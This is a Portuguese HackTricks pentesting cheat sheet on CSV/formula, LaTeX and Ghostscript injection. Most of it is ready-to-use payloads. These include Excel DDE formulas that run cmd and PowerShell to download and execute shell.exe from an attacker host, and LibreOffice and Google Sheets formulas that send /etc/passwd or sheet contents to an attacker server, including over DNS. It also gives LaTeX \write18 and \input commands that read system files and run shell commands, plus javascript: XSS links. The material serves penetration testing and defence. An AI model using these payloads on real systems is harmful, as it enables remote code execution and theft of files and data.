hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

12 KiB

Injeção de Fórmulas/CSV/Doc/LaTeX/GhostScript

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Grupo de Segurança Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}


Injeção de Fórmulas

Informações

Se a sua entrada está sendo refletida dentro de arquivos CSV (ou qualquer outro arquivo que provavelmente será aberto pelo Excel), você pode ser capaz de inserir fórmulas do Excel que serão executadas quando o usuário abrir o arquivo ou quando o usuário clicar em algum link dentro da planilha do Excel.

{% hint style="danger" %} Atualmente o Excel irá alertar (várias vezes) o usuário quando algo é carregado de fora do Excel para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final. {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e realizar solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).

O exemplo a seguir foi retirado de https://payatu.com/csv-injection-basic-to-exploit

Imagine uma violação de segurança em um sistema de Gerenciamento de Registros de Alunos explorado por meio de um ataque de injeção de CSV. A intenção principal do atacante é comprometer o sistema usado pelos professores para gerenciar os detalhes dos alunos. O método envolve o atacante injetando uma carga maliciosa na aplicação, especificamente inserindo fórmulas prejudiciais em campos destinados aos detalhes dos alunos. O ataque se desenrola da seguinte forma:

  1. Injeção de Carga Maliciosa:
  • O atacante envia um formulário de detalhes do aluno, mas inclui uma fórmula comumente usada em planilhas (por exemplo, =HYPERLINK("<malicious_link>","Clique aqui")).
  • Essa fórmula é projetada para criar um hiperlink, mas aponta para um servidor malicioso controlado pelo atacante.
  1. Exportando Dados Comprometidos:
  • Professores, sem saber da comprometimento, usam a funcionalidade da aplicação para exportar os dados para um arquivo CSV.
  • O arquivo CSV, quando aberto, ainda contém a carga maliciosa. Essa carga aparece como um hiperlink clicável na planilha.
  1. Desencadeando o Ataque:
  • Um professor clica no hiperlink, acreditando ser uma parte legítima dos detalhes do aluno.
  • Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
  1. Registrando os Dados:
  • O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
  • O atacante pode então usar esses dados para vários fins maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.

RCE

Confira o post original para mais detalhes.

Em configurações específicas ou versões mais antigas do Excel, um recurso chamado Troca Dinâmica de Dados (DDE) pode ser explorado para executar comandos arbitrários. Para aproveitar isso, as seguintes configurações devem estar habilitadas:

  • Navegue até Arquivo → Opções → Centro de Confiança → Configurações do Centro de Confiança → Conteúdo Externo e habilite Iniciar Servidor de Troca Dinâmica de Dados.

Quando uma planilha com a carga maliciosa é aberta (e se o usuário aceitar os avisos), a carga é executada. Por exemplo, para iniciar o aplicativo da calculadora, a carga seria:

=cmd|' /C calc'!xxx

Comandos adicionais também podem ser executados, como baixar e executar um arquivo usando o PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Inclusão Local de Arquivo (LFI) no LibreOffice Calc

O LibreOffice Calc pode ser usado para ler arquivos locais e exfiltrar dados. Aqui estão alguns métodos:

  • Lendo a primeira linha do arquivo local /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Exfiltrando os dados lidos para um servidor controlado pelo atacante: =WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Exfiltrando mais de uma linha: =WEBSERVICE(CONCATENATE("http://<IP do atacante>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Exfiltração DNS (enviando dados lidos como consultas DNS para um servidor DNS controlado pelo atacante): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domínio do atacante>"))

Google Sheets para Exfiltração de Dados Out-of-Band (OOB)

O Google Sheets oferece funções que podem ser exploradas para exfiltração de dados OOB:

  • CONCATENATE: Anexa strings juntas - =CONCATENATE(A2:E2)
  • IMPORTXML: Importa dados de tipos de dados estruturados - =IMPORTXML(CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Importa feeds RSS ou ATOM - =IMPORTFEED(CONCAT("http://<IP do atacante:Porta>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Importa dados de tabelas ou listas HTML - =IMPORTHTML (CONCAT("http://<IP do atacante:Porta>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Importa um intervalo de células de outra planilha - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[ID_da_Planilha]", "planilha1!A2:E2")
  • IMAGE: Insere uma imagem em uma célula - =IMAGE("https://<IP do atacante:Porta>/images/srpr/logo3w.png")

Injeção LaTeX

Normalmente, os servidores que você encontrará na internet que convertem código LaTeX em PDF usam pdflatex.
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:

  • --no-shell-escape: Desabilita a construção \write18{comando}, mesmo que esteja habilitada no arquivo texmf.cnf.
  • --shell-restricted: Igual a --shell-escape, mas limitado a um conjunto 'seguro' de comandos pré-definidos (**No Ubuntu 16.04 a lista está em /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Habilita a construção \write18{comando}. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.

No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar --shell-restricted.

Ler arquivo

Você pode precisar ajustar a injeção com wrappers como [ ou $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Ler arquivo de uma única linha

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Ler arquivo com várias linhas

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Escrever arquivo

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Execução de comando

A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-lo.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Se você receber algum erro LaTex, considere usar base64 para obter o resultado sem caracteres inválidos

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

De @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Injeção de Ghostscript

Verifique https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Referências

Grupo de Segurança Try Hard

{% embed url="https://discord.gg/tryhardsecurity" %}

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: